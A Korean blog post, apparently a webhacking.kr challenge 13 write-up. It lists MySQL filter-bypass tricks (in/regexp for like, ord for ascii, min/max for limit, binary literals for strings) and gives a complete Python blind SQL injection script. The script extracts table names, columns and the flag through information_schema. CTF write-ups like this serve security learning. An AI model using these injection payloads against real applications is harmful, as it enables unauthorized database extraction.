728x90

MySQL 우회

like -> in,regexp 우회가능

ascii,hex -> ord(결과값 : 아스키코드) 우회가능

limit -> max,min 우회가능 (최대 2개인 경우만)

'h' -> 0b01101000 형식의 2진수로 우회가능. 단, 문자하나당 8비트 이진수로 표현해야함.

substr 결과값=문자 =16진수와 동일

import requests
url="https://webhacking.kr/challenge/web-10/"

#2
def find_table_count():
    tb_cnt=1
    while True:
        query="?no=if((select(count(if((table_schema)in(database()),table_name,null)))from(information_schema.tables))in("+str(tb_cnt)+"),1,0)"
        r=requests.get(url+query)
        if "<td>1</td>" in r.text:
            print("table count :",tb_cnt)
            return tb_cnt
        else:
            tb_cnt+=1

#테이블이 2개이므로 min, max를 이용해 각각의 길이 구함
#13(min), 4(max)
def find_table_length():
    tb_len=1
    while True:
        query="?no=if((select(length(min(if((table_schema)in(database()),table_name,null))))from(information_schema.tables))in("+str(tb_len)+"),1,0)"
        r=requests.get(url+query)
        if "<td>1</td>" in r.text:
            print("table length :",tb_len)
            return tb_len
        else:
            tb_len+=1
            
#min 테이블에 답이 있기에 min 테이블 대상으로 풀이           
#테이블명 : flag_ab733768
def find_table_name():
    tb_len=find_table_length()
    print("table name :",end="")
    for i in range(1,tb_len+1):
        for j in range(30,128):
            query="?no=if((select(ord(substr(min(if((table_schema)in(database()),table_name,null)),{},1)))from(information_schema.tables))in({}),1,0)".format(i,j)
            r=requests.get(url+query)
            if "<td>1</td>" in r.text:
                print(chr(j),end="")
                break

#'문자열' 입력시 13번 문제의 result는 항상 0 출력됨. 따라서 db명을 2진수로 우회해서 사용해야함
#1
def find_column_count():
    col_cnt=1
    tb_name=''.join(f"{ord(i):08b}" for i in "flag_ab733768")
    while True:
        query="?no=if((select(count(if((table_name)in(0b{}),column_name,null)))from(information_schema.columns))in({}),1,0)".format(tb_name,col_cnt)
        r=requests.get(url+query)
        if "<td>1</td>" in r.text:
            print("column count :", col_cnt)
            break
        else:
            col_cnt+=1

#열의 개수는 하나지만 내부 if문에서 null을 포함해서 반환하기에 min을 이용하여 열을 특정한다         
#13
def find_column_length():
    col_len=1
    tb_name=''.join(f"{ord(i):08b}" for i in "flag_ab733768")
    while True:
        query="?no=if((select(length(min(if((table_name)in(0b{}),column_name,null))))from(information_schema.columns))in({}),1,0)".format(tb_name,col_len)
        r=requests.get(url+query)
        if "<td>1</td>" in r.text:
            print("column length :", col_len)
            return col_len
        else:
            col_len+=1
            
#flag_3a55b31d
def find_column_name():
    col_len=find_column_length()
    print("column name : ", end="")
    tb_name=''.join(f"{ord(i):08b}" for i in "flag_ab733768")
    for i in range(1,col_len+1):
        for j in range(30,128):
            query="?no=if((select(ord(substr(min(if((table_name)in(0b{}),column_name,null)),{},1)))from(information_schema.columns))in({}),1,0)".format(tb_name,i,j)
            r=requests.get(url+query)
            if "<td>1</td>" in r.text:
                print(chr(j),end="")
                break
                
#2
def find_data_count():
    data_cnt=1
    while True:
        query="?no=if((select(count(flag_3a55b31d))from(flag_ab733768))in("+str(data_cnt)+"),1,0)"
        r=requests.get(url+query)
        if "<td>1</td>" in r.text:
            print("data count :",data_cnt)
            break
        else:
            data_cnt+=1

#max에 답 있음
#4(min),27(max)           
def find_data_length():
    data_len=1
    while True:
        query="?no=if((select(length(max(flag_3a55b31d)))from(flag_ab733768))in("+str(data_len)+"),1,0)"
        r=requests.get(url+query)
        if "<td>1</td>" in r.text:
            print("data length :",data_len)
            return data_len
        else:
            data_len+=1
            
#FLAG{challenge13gummyclear}
def find_data():
    data_len=find_data_length()
    print("data : ",end="")
    for i in range(1,data_len+1):
        for j in range(30,128):
            query="?no=if((select(ord(substr(max(flag_3a55b31d),{},1))in({}))from(flag_ab733768)),1,0)".format(i,j)
            r=requests.get(url+query)
            if "<td>1</td>" in r.text:
                print(chr(j), end="")
                break
                
find_data()
728x90

'webhacking.kr' 카테고리의 다른 글

old-15  (0) 2023.02.21
old-14  (0) 2023.02.21
old-12  (0) 2023.02.21
old-11  (0) 2023.02.20
old-10  (0) 2023.02.20

+ Recent posts